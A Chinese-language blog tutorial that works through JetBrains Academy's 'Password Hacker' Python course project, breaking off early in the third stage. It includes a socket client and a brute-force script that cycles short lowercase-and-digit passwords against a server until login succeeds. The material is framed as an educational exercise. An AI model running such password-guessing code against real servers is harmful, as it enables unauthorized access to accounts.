最近偶然接触到了一个学习平台,Jerbrains Academy。pycharm和IDEA都是jetbrains旗下的产品。下面将以平台中一个Password Hacker项目作为例子,带你初步接触python。https://hyperskill.org/projects/80?track=2
这个项目是以一个进攻方和服务器管理员admin之间的攻防为背景展开的。所有参考代码在python3.9版本本地编译通过,工具是pycharm社区版
第一阶段的任务,相对简单,就是创建一个session,发送message并且关闭。
参考代码:
import socket
import sys
# - sys.argv[0] = file name
# - sys.argv[1] = hostname
# - sys.argv[2] = port
# - sys.argv[2] = message
# Create a new socket.
client_socket = socket.socket()
# Connect to a host and a port using the socket.
hostname=sys.argv[1]
port=int(sys.argv[2])
address=(hostname,port)
client_socket.connect(address)
# Send a message from the third command line argument to the host using the socket.
message=sys.argv[3]
message=message.encode()
client_socket.send(message)
# Receive the server’s response.
response=client_socket.recv(port)
response=response.decode()
# Print the server’s response.
print(response)
# Close the socket.
client_socket.close()
第二阶段的要求加入了简单的密码尝试
参考代码:
import socket
import sys
import string
import itertools
#input CMD
argumente = sys.argv
IP = argumente[1]
port = int(argumente[2])
#Connection to the server
client_socket = socket.socket()
client_socket.connect((IP, port))
#sending the flow of passwords
caractere = string.ascii_lowercase + string.digits
for i in range(1,4):
brute_force = map(''.join, itertools.product(caractere, repeat=i))
for j in brute_force:
client_socket.send(j.encode())
byte_response = client_socket.recv(1024)
response = byte_response.decode()
if response == 'Connection success!':
print(j)
break
else:
continue
client_socket.close()
第三阶段你需要对每个可能密码的大小写做尝试,参考代码:
import socket
import sys
import itertools
#input CMD
argumente = sys.argv
IP = argumente[1]
port = int(argumente[2])
#Connection to the server
client_socket